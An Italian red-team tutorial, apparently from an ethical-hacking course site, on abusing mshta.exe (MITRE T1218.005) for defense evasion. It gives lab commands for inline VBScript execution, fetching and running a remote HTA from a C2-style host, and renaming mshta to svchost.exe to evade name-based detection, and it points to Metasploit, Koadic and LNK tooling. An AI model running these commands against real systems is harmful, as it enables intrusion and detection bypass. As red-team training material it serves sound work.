Mshta: Microsoft HTML Application Host (T1218.005)
Mshta.exe è un binario nativo di Windows la cui funzione originaria è eseguire HTML Application (HTA), ovvero applicazioni standalone costruite con le stesse tecnologie di Internet Explorer ma svincolate dal contesto del browser. Proprio questa caratteristica ne fa uno degli strumenti preferiti dagli attaccanti per la tecnica T1218.005, catalogata all'interno della tattica TA0005 (Defense Evasion) del framework MITRE ATT&CK.
Abusando di un eseguibile firmato Microsoft e presente di default sul sistema, gli avversari ottengono un doppio vantaggio: bypassano molte soluzioni di application control che considerano mshta come processo attendibile e aggirano le restrizioni di sicurezza del browser, poiché lo script viene eseguito fuori dalla sandbox di Internet Explorer. Le due sintassi più diffuse prevedono l'esecuzione inline con handler vbscript: oppure il caricamento diretto di un HTA remoto via HTTP.
L'impatto è documentato in modo estensivo: 17 gruppi APT e 11 famiglie malware distinti impiegano mshta, con un utilizzo trasversale che va dalla fase di Initial Access (spesso tramite documenti Office o file LNK weaponizzati) fino all'Execution di payload di seconda fase. Due campagne pubblicamente attribuite — C0015 (intrusione ransomware Conti) e Operation Dust Storm (spionaggio pluriennale in APAC) — confermano che la tecnica resta rilevante sia in scenari cybercrime che state-sponsored.
Durante un'attività di red team, mshta.exe rappresenta un vettore classico per la fase di initial execution post-phishing. La sintassi minimale per un test di laboratorio consiste in due varianti fondamentali. La prima esegue codice inline senza toccare il disco:
mshta vbscript:Close(Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"""))
La seconda scarica ed esegue un HTA remoto, utile per simulare catene di staging:
mshta http://lab-c2.internal/stage1.hta
Per generare HTA weaponizzati in laboratorio, Metasploit Framework (open source) offre il modulo exploit/windows/misc/hta_server che costruisce automaticamente un HTA con payload Meterpreter e lo serve via HTTP. In alternativa, Nishang (open source) di Nikhil Mittal fornisce script PowerShell che possono essere incapsulati in un tag dentro un HTA per un'esecuzione più stealth.
Un framework particolarmente interessante da studiare — perché citato esplicitamente nei dati MITRE come utilizzato dal gruppo LazyScripter — è Koadic (open source), un C2 basato interamente su JScript/VBScript che sfrutta mshta come stager iniziale. La generazione dello stager avviene con il comando interno stager/js/mshta dopo aver configurato listener e endpoint.
Per chi vuole replicare la catena osservata in Earth Lusca, il flusso tipico prevede un file LNK che invoca mshta con URL remoto. La costruzione di LNK malevoli in lab può avvenire con LNKUp (open source) o con lo script PowerShell nativo che sfrutta WScript.Shell per generare collegamenti con TargetPath verso C:\Windows\System32\mshta.exe.
Sul fronte offuscamento, tecniche comuni includono l'incapsulamento del payload in VBScript.Encode (accessibile via il vecchio Script Encoder Microsoft) o l'uso del prefisso javascript: al posto di vbscript: per eludere regex ingenue. Alcuni operatori — come documentato per APT38 — rinominano il binario in una copia locale per bypassare regole di detection basate sul nome del processo; in tal caso conviene testare la resilienza dei controlli con un semplice copy C:\Windows\System32\mshta.exe C:\Users\Public\svchost.exe seguito dall'esecuzione del payload.
Ricorda sempre di operare in ambienti isolati (VM snapshot, network segmentato) e di documentare hash e comandi per il report finale al blue team.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo